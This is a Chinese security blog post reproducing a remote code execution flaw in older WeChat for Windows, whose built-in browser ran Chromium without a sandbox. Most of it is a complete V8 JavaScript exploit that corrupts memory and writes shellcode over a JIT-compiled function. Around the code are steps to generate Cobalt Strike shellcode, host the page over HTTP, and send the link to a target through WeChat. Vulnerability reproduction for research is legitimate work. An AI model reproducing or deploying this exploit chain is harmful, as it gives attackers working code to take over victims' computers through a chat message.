WeChat-RCE 漏洞复现

2021-04-28 10,022

漏洞简介

漏洞起源主要是因为 chrome 浏览器在无沙箱模式下,会触发RCE 执行漏洞,但是 chrome 默认开启了沙箱模式。

微信 pc 版(3.2.1.141)之前的版本,在利用微信默认的内置浏览器打开链接时会调用 chrome 内核,默认使用 --no-sandbox 可导致命令执行。

影响版本

微信 Windows 版 < 3.1.2.141

漏洞复现

下载好(微信老版本)[https://weixin.qq.com/cgi-bin/readtemplate?lang=zh_CN&t=weixin_faq_list&pass_ticket=723JQxfx6liHClP9cfdRLZ0VVEMmdzNqdVME5QpQuY%2FzqQkLGFBabnpE3nHb6D76],在安装的时候需要进行断网操作,否则会自动给更新到最新版本 目前在网络上已经下载不到老版本的微信安装包了

找到老版本的微信进行安装 安装之后注意设置选择用微信内置的浏览器打开链接,不要选择用系统默认浏览器打开

20210426100148.png

打开一台 kali 虚拟机,在上面打开 Cobalt Strike

20210426103908.png

配置监听器

20210426104134.png

生成 shellcode

20210426104249.png

20210426104541.png

替换字符,将 \ 替换为,0

20210426104927.png

将shellcode 写入js文件中

ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [];//shellcode替换成自己的

function print(data) {
}


var not_optimised_out = 0;
var target_function = (function (value) {
   if (value == 0xdecaf0) {
       not_optimised_out += 1;
   }
   not_optimised_out += 1;
   not_optimised_out |= 0xff;
   not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
   target_function(i);
}


var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
   if (flag == true) {
       return;
   }
   g_array = new Array(0);
   g_array[0] = 0x1dbabe * 2;
   return 'c01db33f';
}

function gc() {
   for (var i = 0; i < 0x10000; ++i) {
       new String();
   }
}

function oobAccess() {
   var this_ = this;
   this.buffer = null;
   this.buffer_view = null;

   this.page_buffer = null;
   this.page_view = null;

   this.prevent_opt = [];

   var kSlotOffset = 0x1f;
   var kBackingStoreOffset = 0xf;

   class LeakArrayBuffer extends ArrayBuffer {
       constructor() {
           super(0x1000);
           this.slot = this;
       }
   }

   this.page_buffer = new LeakArrayBuffer();
   this.page_view = new DataView(this.page_buffer);

   new RegExp({ toString: function () { return 'a' } });
   cb(true);

   class DerivedBase extends RegExp {
       constructor() {
           // var array = null;
           super(
               // at this point, the 4-byte allocation for the JSRegExp `this` object
               // has just happened.
               {
                   toString: cb
               }, 'g'
               // now the runtime JSRegExp constructor is called, corrupting the
               // JSArray.
           );

           // this allocation will now directly follow the FixedArray allocation
           // made for `this.data`, which is where `array.elements` points to.
           this_.buffer = new ArrayBuffer(0x80);
           g_array[8] = this_.page_buffer;
       }
   }

   // try{
   var derived_n = eval(`(function derived_n(i) {
       if (i == 0) {
           return DerivedBase;
       }

       class DerivedN extends derived_n(i-1) {
           constructor() {
               super();
               return;
               ${"this.a=0;".repeat(tDerivedNCount)}
           }
       }

       return DerivedN;
   })`);

   gc();


   new (derived_n(tDerivedNDepth))();

   this.buffer_view = new DataView(this.buffer);
   this.leakPtr = function (obj) {
       this.page_buffer.slot = obj;
       return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
   }

   this.setPtr = function (addr) {
       this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
   }

   this.read32 = function (addr) {
       this.setPtr(addr);
       return this.page_view.getUint32(0, true, ...this.prevent_opt);
   }

   this.write32 = function (addr, value) {
       this.setPtr(addr);
       this.page_view.setUint32(0, value, true, ...this.prevent_opt);
   }

   this.write8 = function (addr, value) {
       this.setPtr(addr);
       this.page_view.setUint8(0, value, ...this.prevent_opt);
   }

   this.setBytes = function (addr, content) {
       for (var i = 0; i < content.length; i++) {
           this.write8(addr + i, content[i]);
       }
   }
   return this;
}

function trigger() {
   var oob = oobAccess();

   var func_ptr = oob.leakPtr(target_function);
   print('[*] target_function at 0x' + func_ptr.toString(16));

   var kCodeInsOffset = 0x1b;

   var code_addr = oob.read32(func_ptr + kCodeInsOffset);
   print('[*] code_addr at 0x' + code_addr.toString(16));

   oob.setBytes(code_addr, shellcode);

   target_function(0);
}

try{
   print("start running");
   trigger();
}catch(e){
   print(e);
}

再写一个 html 文件 包含 js

<script src="1.js"></script>

利用 python 开启 http 服务,微信发送链接,并打开

20210426105534.png

20210426105724.png


本文作者:Whippet

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/158039.html

Tags:
评论  (0)
快来写下你的想法吧!

Whippet

文章数:16 积分: 370

按时吃饭饭

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号